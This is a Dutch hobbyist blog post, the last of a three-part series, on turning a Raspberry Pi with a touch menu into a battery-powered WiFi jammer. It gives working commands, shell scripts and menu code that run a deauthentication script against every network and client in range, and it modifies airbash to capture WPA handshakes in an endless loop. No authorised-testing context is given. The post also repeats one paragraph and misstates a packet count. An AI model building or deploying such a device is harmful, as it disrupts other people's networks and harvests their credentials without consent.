WiFi Jammer met Raspberri Pi en Kali-Pi Sticky Fingers 3/3

In dit 3e en laatste deel van deze serie gaan we de WiFi Jammer klaarmaken voor gebruik. In de vorige 2 posts hebben we de omgeving klaargemaakt met een TFT display en Sticky Fingers menu maar nu wordt het tijd om alles samen te voegen en om te gaan “Jammen”. Met een beetje geluk kunnen we tijdens het Jammen ook de aangebrachte LED laten branden en WPA handshakes vinden en opslaan. So much to do and so little time…

Om een goede start te maken wil ik het wiel niet 2x opnieuw uitvinden. Er zijn namelijk al een aantal goed doordachte “Jammer” scripts. Wij gaan gebruik maken van DanMcInerney WiFi Jammer Script – https://github.com/DanMcInerney/wifijammer. Alle credits voor dit script zijn dus ook voor Dan McInerney!!!

Allereerst downloaden we het script in /opt/bin/

git clone https://github.com/DanMcInerney/wifijammer.git

Dit script vindt de krachtigste draadloze interface (in ons geval de TP-Link WiFi Dongel) en zal hiervoor monitormode inschakelen. Als er al een interface in monitormodus geschakeld is dan gebruikt het script die interface. Het script start met het doorlopen van alle kanalen. Hier identificeert het script alle access points en verbonden cliënts. Gedurende deze eerste run worden alleen apparaten geïdentificeerd. Het script zal gemiddeld 1 seconde per kanaal scannen. Vervolgens zal het script de “DeAuth” pakketten klaarmaken en verzenden naar de gevonden apparaten zodat deze verbroken worden. Het script zend 1 DeAuth pakket v.a. het access point naar de cliënt en 1 DeAuth pakket v.a. de cliënt naar het access point. Tenslotte zal het script 1 DeAuth pakket naar het access point verzenden voor het broadcast adres (deze optie wordt niet ondersteund door de meeste access points omdat op deze manier meteen alle verbonden cliënts verbroken worden). Op de achtergrond zal het script blijven zoeken naar nieuwe apparaten.

Laten we het script eens testen:

python /opt/bin/wifijammer/wifijammer

Het script werkt op dit moment niet. We zien hem alleen door netwerken loopen maar nog geen netwerken vinden. Op de een of andere manier lukt het niet om zijn interface in monitor mode te plaatsen. We hebben helemaal geen “wlan1”:

Laten we het dus handmatig doen:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

Dit lijkt een stuk beter te werken:

We kunnen het commando tweaken om het nog beter te laten werken:

python /opt/bin/wifijammer/wifijammer -d -p 5 -i wlan1

-i = Selecteer de interface (wlan1)
-d = Stuur geen DeAuth pakketten naar het access point voor broadcast de-autorisatie waardoor het kicken van de cliënts sneller gaat
-p = Definieer het aantal DeAuth pakketten welke verstuurd worden. In bovenstaande geval 50 i.p.v. 1.

Om nog specifieker te zijn kun je ook specifieke cliënts opgeven om te targetten op basis van het MAC adres. Dit doe je met de “-a” flag:

python /opt/bin/wifijammer/wifijammer -d -p 5 -i wlan1 -a 00:01:BA:34:2A:BA

Al met al werkt het script prima. Zeker als je gaat targetten. Maar in principe werkt bovenstaande commando helemaal goed:

python /opt/bin/wifijammer/wifijammer -d -p 5 -i wlan1

Voordat we verder gaan wordt het zaak om dit script te koppelen aan het menu. Hiervoor gaan we weer het menu bewerken:

nano /home/pi/Kali-Pi/Menus/menu-1.py

De functie op regel 10 veranderen we naar:

# Check WiFi Jammer status
def check_jammer():
    if 'python /opt/bin/wifijammer/wifijammer' in commands.getoutput('/bin/ps -ef'):
        return True
    else:
        return False

En het menu op regel 89 veranderen we naar:

    if number == 5:
        if button5.disable == 1:
            return
 
	# WiFi Jammer
 
        if check_jammer() == True:
        #Stop Jammer Script if running
		kalipi.run_cmd("pkill python")
		button5.fntColor = tron_whi
		button5.draw()
		pygame.display.update()
        else:
        #Start Jammer Script
		kalipi.run_cmd("ifconfig wlan1 down")
		kalipi.run_cmd("iwconfig wlan1 mode monitor")
		kalipi.run_cmd("ifconfig wlan1 up")
		button5.fntColor = red
		button5.draw()
		pygame.display.update()
		kalipi.run_cmd("python /opt/bin/wifijammer/wifijammer")
        #return

Dit werkt prima, op 1 puntje na. Omdat het Jammer script continue blijft loopen hangt het menu vast en kan ik geen enkele button meer indrukken. Ik kan de Jammer dus ook niet uitschakelen zonder de stroom van de Raspberry Pi af te halen.

Om dit voor elkaar te krijgen moeten we het Python script in de achtergrond draaien. Om alles meteen netjes te maken creëer ik hier een nieuw script voor in “/opt/bin” en deze noem ik “runjammer.sh” en bevat de volgende content:

#!/bin/bash
 
ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up
#sudo nohup /opt/bin/wifijammer/wifijammer &
sudo nohup /opt/bin/wifijammer/wifijammer > /dev/null 2>&1&

Zoals je ziet zet ik in dit script de netwerkinterface wlan1 in monitor mode en draai ik het script met het commando “sudo nohup /opt/bin/wifijammer/wifijammer > /dev/null 2>&1&
”. Dit commando zorgt ervoor dat het Python script op de achtergrond draait en dat de output gedumpt wordt. Ook zorgt het ervoor dat het script doorgaat en niet blijft hangen op de melding “nohup: appending output to ‘nohup.out’”.

Door dit Bash script te draaien wordt het Python script op de achtergrond geladen en gaat het script door. Als het script klaar is zal het gesloten worden terwijl het Python script op de achtergrond blijft draaien. Doordat het aangeroepen script nu wel sluit kunnen we het menu blijven bedienen. Deze moeten we wel aanpassen. Allereerst moeten de functie op regel 10 aanpassen naar:

# Check WiFi Jammer status
def check_jammer():
    if 'python2 /opt/bin/wifijammer/wifijammer' in commands.getoutput('/bin/ps -ef'):
        return True
    else:
        return False

En we moeten de buttoncode op regel 89 aanpassen naar:

    if number == 5:
        if button5.disable == 1:
            return
 
	# WiFi Jammer
 
        if check_jammer() == True:
        #Stop Jammer Script if running
		kalipi.run_cmd("pkill python")
		button5.fntColor = tron_whi
		button5.draw()
		pygame.display.update()
        else:
        #Start Jammer Script
		button5.fntColor = red
		button5.draw()
		pygame.display.update()
		kalipi.run_cmd("/bin/bash /opt/bin/runjammer.sh")
	        #return

Wanneer we nu vanuit het menu het script starten zal de tekst rood worden. Als we nogmaals op de button drukken wordt de tekst weer wit en zal het Jammer script gestopt worden. Exact zoals we graag willen.

De volgende stap is om tijdens het Jammer ook het LED lampje te laten branden. Om dit te doen voegen we het volgende toe aan het “/opt/bin/wifijammer/wifijammer” script op regel 4 (onder “import logging”:

import RPi.GPIO as GPIO
import time
 
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(12,GPIO.OUT)

Op regel 105 plaatsen we vervolgens de code om het LED lichtje in te schakelen:

########################################
# Start LED
########################################
GPIO.output(12,GPIO.HIGH)

Vervolgens voegen we aan het einde van het script toe:

########################################
# Stop LED
########################################
GPIO.output(12,GPIO.LOW)

Dat werkt:

Om het LED te stoppen als we op de WiFi Jammer button drukken van het Sticky Menu gaan we een nieuwe scriptje aanmaken in “/opt/bin/” en deze noemen we “stopled.py”. Hierin komt de volgende content:

import RPi.GPIO as GPIO
import time
 
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(12,GPIO.OUT)
 
GPIO.output(12,GPIO.LOW)

Nu gaan we het menu weer aanpassen. Hier moeten we de code op regel 89 aanpassen naar:

    if number == 5:
        if button5.disable == 1:
            return
 
	# WiFi Jammer
 
        if check_jammer() == True:
        #Stop Jammer Script if running
		kalipi.run_cmd("pkill python")
		kalipi.run_cmd("python /opt/bin/stopled.py")
		button5.fntColor = tron_whi
		button5.draw()
		pygame.display.update()
        else:
        #Start Jammer Script
		button5.fntColor = red
		button5.draw()
		pygame.display.update()
		kalipi.run_cmd("/bin/bash /opt/bin/runjammer.sh")
	        #return

Voilà:

Het laatste wat ik graag zou doen is het capturen van WiFi handshakes. In theorie is dit prima te doen omdat tijdens het jammen de cliënts opnieuw proberen te verbinden. Dat is het moment dat we de handshakes kunnen vangen omdat op dat moment de cliënt en het access point samen de “4-Way Handshake” uitvoeren om de cliënt te authentiseren. De 4-way handshake is onderdeel van het volledige autorisatieproces. De handshake is afhankelijk van het type WPA je gebruikt. Je hebt namelijk de “Personal” variant welke gebruik maakt van “Pre-Shared key – PSK) en de “Enterprise” variant welke gebruik maakt van authenticatieservers zoals RADIUS.
Op het moment dat de 4-way handshake uitgevoerd word is de gedeelde Pairwise Master Key al bekend (door de eerdere EAP of PSK uitwisseling). De PWK sleutel is ontworpen om de hele sessie geldig te zijn en moet zo min mogelijk blootgesteld worden. Om deze reden wordt er een nieuwe sleutel gegenereerd tijdens de 4-way handshake. Deze sleutel noemen we de “Pairwise Transient Key” ofwel de PTK. De PTK wordt gegenereerd door verschillende attributen aaneen te schakelen: PMK, AP nonce (ANonce), STA nonce (SNonce), AP MAC-adres en STA MAC-adres. De sleutel wordt vervolgens middels PBKDF2-SHA1 gehashed.
De 4-way handshake levert ook de “Group Temporal Key” (GTK) op, welke wordt gebruikt om multicast- en broadcast-verkeer te decoderen. De volledige 4-way handshake is verder uitgewerkt in deze post: https://jarnobaselier.nl/wifi-hacking-advanced/.

Om de handshakes te “vangen” en op te slaan gaan we gebruik maken van het “airbash” script van “tehw0lf”. https://github.com/tehw0lf/airbash.

Dit script is speciaal gemaakt om handshakes te capturen en op te slaan in een SQLite3 database.

Laten we eerst het script downloaden:

cd /opt/bin
 
git clone https://github.com/tehw0lf/airbash.git

Vervolgens gaan we het installatiescript “install.sh” uitvoerbaar maken en uitvoeren:

cd airbash
 
chmod +x install.sh
 
./install.sh

Nu de juiste files en de database geïnstalleerd is gaan we het “airba.sh” script aanpassen:

nano airba.sh

Laten we er eerst voor zorgen dat de interface goed staat. In ons geval is dit wlan1.

Het script draait normaliter 20 seconde en eindigt dan. Dit willen we veranderen. Daarom plaatsen we het volgende waarde op regel 87:

# initial scan loop
counter=0
while [ $counter -le 9999 ]; do

En de volgende gegevens aan het einde van het script:

let COUNTER=COUNTER+1 
done

Deze loop zorgt ervoor dat het script 9999x 20 seconde gaat scannen en handshakes opslaat. In theorie blijft het script dus 55,55 uur draaien.

Je kunt eventueel ook de counter verwijderen en er een oneindige loop van maken:

while :
do
 
done

Omdat dit script ook DeAuth pakketjes stuurt (niet voldoende om goed te “Jammen”) kunnen we deze DeAuth functie uitschakelen. Dit doen we door regel 135 “uit te quoten”.

Als we nu het script draaien terwijl de Jammer actief is zien we dat het functioneert. In onderstaande voorbeeld is 1 handshake gevonden:

Alle gevonden netwerken kun je vinden in de database met het commando:

sqlite3 .db.sqlite3 "SELECT * FROM hs"

De tabel is als volgt opgebouwd:

• ID – Primary key
• lat – Latitude als GeoTracking ingeschakeld was
• lon – Longitude als GeoTracking ingeschakeld was
• bssid – Basic Service Set Identifier (ID / MAC van de router)
• essid – SSID
• psk – WPA wachtwoord
• prcsd – INT welke fungeert als FLAG voor crackdefault.sh waarmee dubbele berekeningen van standaardsleutels voorkomen worden.

Deze database kan gebruikt worden door andere scripts. Airbash komt standaard met een script om vanuit de database kwetsbare routermodellen te vinden. Als een kwetsbare router gevonden is worden de standaardsleutels voor deze routerreeks berekend en gebruikt als invoer voor aircrack-ng om het wachtwoord te achterhalen.

Wij zijn echter benieuwd naar de werkelijke handshakes. Handshakes worden opgeslagen in een separaat “.CAP“ bestand. Deze bestanden worden opgeslagen in de Airbash directory:

Nu het script werkt moeten we het ook aanroepen tijdens je Jammen en afsluiten als we het Jammen stoppen. Dit hebben we eerder gedaan met het “wifijammer” script en herhalen we nog eens.

We navigeren terug naar “/opt/bin” en bewerken het “runjammer.sh” script. Hier voegen we het volgende toe om Airbash te starten tijdens het Jammen:

sudo nohup /opt/bin/airbash/./airba.sh > /dev/null 2>&1&

Nu openen we het menu weer:

nano /home/pi/Kali-Pi/Menus/menu-1.py

Om het Airbash script weer te stoppen moeten we de volgende regels uitvoeren:

ps axf | grep "/*airba.sh" | grep -v grep | awk '{print "kill -9 " $1}' | sh
ps axf | grep "/*airodump-ng" | grep -v grep | awk '{print "kill -9 " $1}' | sh

Dus laten we dit ook maar in een scriptje gaan plaatsen om alles netjes te houden. We veranderen het “Stop Jammer” gedeelte in het menu naar:

kalipi.run_cmd("/bin/bash /opt/bin/stopjammer.sh")

Nu maken we een nieuw “stopjammer.sh” script in “/opt/bin”:

nano /opt/bin/stopjammer.sh

Hierin plaatsen we alle acties die we uitgevoerd willen hebben bij het stoppen van de Jammer. Laten we meteen ook de NIC weer terug in “Managed Mode” plaatsen…. Om het helemaal netjes te doen.

Nu maken we een nieuw “stopjammer.sh” script in “/opt/bin”:

nano /opt/bin/stopjammer.sh

Hierin plaatsen we alle acties die we uitgevoerd willen hebben bij het stoppen van de Jammer. Laten we meteen ook de NIC weer terug in “Managed Mode” plaatsen…. Om het helemaal netjes te doen.

pkill python
ps axf | grep "/*airba.sh" | grep -v grep | awk '{print "kill -9 " $1}' | sh
ps axf | grep "/*airodump-ng" | grep -v grep | awk '{print "kill -9 " $1}' | sh
ifconfig wlan1 down
iwconfig wlan1 mode managed
ifconfig wlan1 up
python /opt/bin/stopled.py

Dan hebben we ondertussen 2 bestandjes in onze “/opt/bin” directory staan die we niet meer nodig. Laten we deze netjes opruimen:

rm –f /opt/bin/controlled.py
rm –f /opt/bin/dimled.py

Nu is in principe onze Jammer klaar en voldoet hij aan alle gestelde eisen toen we aan dit project begonnen. Nu kunnen we d.m.v. de powerbank de Jammer volledig draadloos maken:

Het Jammen van alle netwerken in de buurt van deze Jammer duurt ongeveer 1 tot 3 minuten. In die periode worden ook zoveel mogelijk handshakes opgeslagen. Onze Jammer is volledig draadloos en heeft een duidelijke rode LED om te laten zien dat de Jammer actief is. Uiteraard kunnen we dit project nog verder uitbreiden en verbeteren maar voor nu:

MISSIE GESLAAGD!

Hierbij een ZIP file met de volgende volledige scripts:

• menu-1.py
• runjammer.sh
• stopjammer.sh
• stopled.py
• wifijammer (full Dan McInerney wifijammer script)
• airbash (full tehw0lf Airbash script)